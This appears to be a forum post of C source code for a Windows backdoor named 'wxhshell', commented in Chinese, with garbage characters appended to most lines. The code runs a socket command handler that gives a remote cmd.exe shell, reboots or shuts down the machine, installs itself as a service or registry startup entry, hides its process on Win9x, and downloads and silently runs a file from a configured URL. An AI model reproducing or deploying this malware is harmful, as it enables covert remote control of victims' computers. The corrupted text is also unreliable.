  } A)5;ae  
  else { w$evAPuz^  
Q"Pl)Q\  
    switch(cmd[0]) { ] >4CBm$  
  |uIgZ|7[  
  // 帮助 fi tsu"G  
  case '?': { -U BH,U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :'$V7LZ5  
    break; 8 U<$u,WS  
  } hWz/PK,  
  // 安装 <1pRAN0  
  case 'i': { uBUT84i  
    if(Install()) /* G-\|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0 3?7kAI  
    else O:{N5+HVG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &-c{  
    break; qy( kb(J  
    } mD_sf_2>  
  // 卸载 u$Wv*;TT%  
  case 'r': { |I2~@RfpO:  
    if(Uninstall()) \uyZl2=WWa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }? :T*CJ  
    else 1]wo    
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tE$oV  
    break; r]B`\XWz  
    } iGw\A!}w\  
  // 显示 wxhshell 所在路径 jV.9d@EC  
  case 'p': { 9&"wfN N  
    char svExeFile[MAX_PATH]; (,j ~s{  
    strcpy(svExeFile,"\n\r"); C>*1f|<  
      strcat(svExeFile,ExeFile); w gkY \Q  
        send(wsh,svExeFile,strlen(svExeFile),0); u|sdQ  
    break; KP xf  
    } iTVepYv4m  
  // 重启 G\B:iyKl  
  case 'b': {  r<1.'F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y?4N%c_;  
    if(Boot(REBOOT)) lbj_ if;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4vMjVbr  
    else { &9 khIJI n  
    closesocket(wsh); 'R nvQ""  
    ExitThread(0);  +wE>h>?;  
    } X_(n  
    break; jMP;$w  
    } IQyw>_~]  
  // 关机 m/"}Y]n!  
  case 'd': { a\xf\$Ym  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DoFF<LXBt  
    if(Boot(SHUTDOWN)) W0LJ Xp-v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |5(un/-C  
    else { bmw"-W^U[  
    closesocket(wsh); Ih%LKFT  
    ExitThread(0); uC5W1LyI  
    } p&lT! 5P!A  
    break; PcEE@W9  
    } X8 x:/]/0  
  // 获取shell E.4 X,  
  case 's': { (BZd%!  
    CmdShell(wsh); wF)g@cw  
    closesocket(wsh); "q7pkxEuJ  
    ExitThread(0); [W8?ww%qT  
    break; B i`m+ob  
  } v4W<_ 7L_  
  // 退出 &&TAX  
  case 'x': { -f=4\3y3p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); POb2U1Sj  
    CloseIt(wsh); 4=ZN4=(_[  
    break; 0:zDt~Ju  
    } SVi{B*  
  // 离开 f"d4HZD^  
  case 'q': { 8RJa;JsH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T%@qlEmf  
    closesocket(wsh); |K'7BK_^J  
    WSACleanup(); I7{ Q\C4  
    exit(1); S,GM!YZg  
    break; N3|aNQ=X0  
        } X~rHNRIU  
  } )WbE -m  
  } otJHcGv  
4@"n7/<  
  // 提示信息 Ya ~lPc  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FfibR\dhY  
} ~uweBp~O  
  } Z]k+dJ[-  
vU!<-T#  
  return; V w5@)l*f  
} 0T<DHPQ1  
sXR}#*8p  
// shell模块句柄 >5bd !b,  
int CmdShell(SOCKET sock) eS;W>d  
{ 1l+j^Dt'[  
STARTUPINFO si; b-)3MR:4  
ZeroMemory(&si,sizeof(si)); b)+;@wa~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W4rh7e4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Nq ZR*/BOz  
PROCESS_INFORMATION ProcessInfo; oU)HxV  
char cmdline[]="cmd"; XO"BEj<x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ziG]BZ  
  return 0; S3Sn_zqG  
} Kz9h{ Tu4  
IK|W^hH\8  
// 自身启动模式 ZN-5W|' O  
int StartFromService(void) RLUH[[  
{ ~n9-  
typedef struct B{-+1f4  
{ ]tO9<  
  DWORD ExitStatus; G FO(O  
  DWORD PebBaseAddress;  #)28ESj  
  DWORD AffinityMask; 0?\d%J!"S  
  DWORD BasePriority; /r mm@  
  ULONG UniqueProcessId; \I~9%QJ>  
  ULONG InheritedFromUniqueProcessId; TDjjaO  
}   PROCESS_BASIC_INFORMATION; vV /fTO  
tCbn B  
PROCNTQSIP NtQueryInformationProcess; I cz) Qtg|  
f*GdHUZ*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S0-/9h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h&6t.2<e  
${w\^6&  
  HANDLE             hProcess; U\`H0'  
  PROCESS_BASIC_INFORMATION pbi; 2F fwct:  
2a[_^v $v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2:D1<z6RQ  
  if(NULL == hInst ) return 0; b}5hqIy  
'3V?M;3|K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bhc .UmH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]2'{W]m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rd4\N2- 6  
` B71`  
  if (!NtQueryInformationProcess) return 0; h?2:'Vu]  
OA\ *)c+F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bF{14F$  
  if(!hProcess) return 0; o&vODs  
eWwI@ASaA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `Pe WV[?  
*kWrF* )J  
  CloseHandle(hProcess); !mtX*;b(e  
*Wmn!{\g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YF(TG]?6  
if(hProcess==NULL) return 0; RB `<Zw  
Y]!{ n W  
HMODULE hMod; C`>|D [  
char procName[255]; VLfE3i4Vwl  
unsigned long cbNeeded; )4/227b/(  
@Zd/>'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZsikI@?  
iv]*HE  
  CloseHandle(hProcess); *C n `pfO  
[MVG\6Up(  
if(strstr(procName,"services")) return 1; // 以服务启动 #.z`clK#  
YQk<1./}I  
  return 0; // 注册表启动 -jOCzp  
} >"q~9b A  
:D!}jN/)  
// 主模块 7L\kna<  
int StartWxhshell(LPSTR lpCmdLine) v3{[rK}  
{ h(VF  
  SOCKET wsl; p 6FPdt)  
BOOL val=TRUE; W2\ Q-4D  
  int port=0; TWFi.w4pY  
  struct sockaddr_in door; ^@0-E@ {c  
+r 2\v  
  if(wscfg.ws_autoins) Install(); Sxw%6Va]p  
hWqI*xSaJ  
port=atoi(lpCmdLine); 1Ev#[FOc  
Q\4nduQ  
if(port<=0) port=wscfg.ws_port; "mm|0PUJ  
56R)631]p  
  WSADATA data; -8r9DS -/W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G[=8Ko0U+n  
nQW`X=Ku  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M&5;Qeoiv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y8.(filNB  
  door.sin_family = AF_INET; ,awp)@VG7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); CH/*MA  
  door.sin_port = htons(port); <M4Qc12jP  
/K./k!'z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,wvzY7%  
closesocket(wsl); .`ppp!:a4  
return 1; ,`lVB#|  
} ? m$7)@p  
l*Iy:j(B  
  if(listen(wsl,2) == INVALID_SOCKET) { M!ra3Y  
closesocket(wsl); ix=H=U]Q{  
return 1; ]8i2'x  
} j 4B|ktf  
  Wxhshell(wsl); ^YLpZoo  
  WSACleanup(); }m6j6uAR6)  
=<M7t*!  
return 0; ]%K 8  
pWwB<F  
} bl)iji`]  
*8*E\nZx!  
// 以NT服务方式启动 3g#fX{e_5!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D|1pBn.b]'  
{ 3)J0f+M>dv  
DWORD   status = 0; \dL# PI3  
  DWORD   specificError = 0xfffffff; `Oc`I9  
A%G \ AT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'h6Vj6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Gv};mkX[N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aDik1Q  
  serviceStatus.dwWin32ExitCode     = 0; h*qoe(+ZD  
  serviceStatus.dwServiceSpecificExitCode = 0; 'e(`2  
  serviceStatus.dwCheckPoint       = 0; {|jG_  
  serviceStatus.dwWaitHint       = 0; |$vhu`]Z@^  
I=,u7w`m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,DT =(  
  if (hServiceStatusHandle==0) return; cQaEh1n  
W~1MeAI  
status = GetLastError(); GoGo@5n(Z  
  if (status!=NO_ERROR) i*JbFukG  
{ Q7]VB p4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }Dig'vpMx  
    serviceStatus.dwCheckPoint       = 0; btC.EmX  
    serviceStatus.dwWaitHint       = 0; o9:GKc  
    serviceStatus.dwWin32ExitCode     = status; F+`DfI]/m  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3??*G8Yp  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); om"q[Tudc  
    return; m*h, <,}-+  
  } @42!\1YT  
dpBG)Xzoyv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4K@`>Y5g*  
  serviceStatus.dwCheckPoint       = 0; Z81{v<c;  
  serviceStatus.dwWaitHint       = 0; ]byj[Gd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S:UtmS+K  
} 'M*+HY\.0  
(\si/&  
// 处理NT服务事件,比如:启动、停止 fU+A~oL%I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .g7ebh6D  
{ "Iy @PR?>  
switch(fdwControl) FshQ OFW  
{ z90=,wd  
case SERVICE_CONTROL_STOP: Q-[^!RAK?  
  serviceStatus.dwWin32ExitCode = 0; ~lR"3z_Z}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &pZUe`3  
  serviceStatus.dwCheckPoint   = 0; uW&P1 'X  
  serviceStatus.dwWaitHint     = 0; ?D#]g[6  
  { SR#%gR_SC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xf.w( -  
  } KB,!s7A  
  return; ]3iu-~  
case SERVICE_CONTROL_PAUSE: .&ynS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h-1eDxK6  
  break; sa~.qmqu  
case SERVICE_CONTROL_CONTINUE: t-\S/N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K/ q:aMq  
  break; ba?]eK   
case SERVICE_CONTROL_INTERROGATE: 13]sZ([B%|  
  break; vXnTPjbE  
}; ;X u&['  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )T6+}   
} ,/\%-u? 1x  
|5}{4k~9J  
// 标准应用程序主函数 a4 g~'^uC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0;Y_@UVj  
{ LB1.N!q1  
m7 !Fb  
// 获取操作系统版本 Q:]F* p2  
OsIsNt=GetOsVer(); 1anV!&a<K(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {Ex0mw)T  
n>X  
  // 从命令行安装 P 7 [p$Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); g]C+uj^  
GA6)O-^G  
  // 下载执行文件 nTSGcMI  
if(wscfg.ws_downexe) { %D z|p]49!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %ma1LN[  
  WinExec(wscfg.ws_filenam,SW_HIDE); XcA4EBRj  
} @:i>q$aF  
J=/|iW  
if(!OsIsNt) { j0sR]i  
// 如果时win9x,隐藏进程并且设置为注册表启动 voaRh@DZ%/  
HideProc(); F!VC19<1O8  
StartWxhshell(lpCmdLine); 17G7r\iNYq  
} $Q|66/S^  
else Nuk\8C  
  if(StartFromService()) FuaGr0]  
  // 以服务方式启动 EOV<|WF>  
  StartServiceCtrlDispatcher(DispatchTable); =o=)EU{~  
else =,I,K=+_x  
  // 普通方式启动 vKDPg p<j  
  StartWxhshell(lpCmdLine); 7/(C1II.Q  
tkWWR%c"  
return 0; aO'$}rDf$  
}
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只看该作者 1 发表于: 2006-10-10
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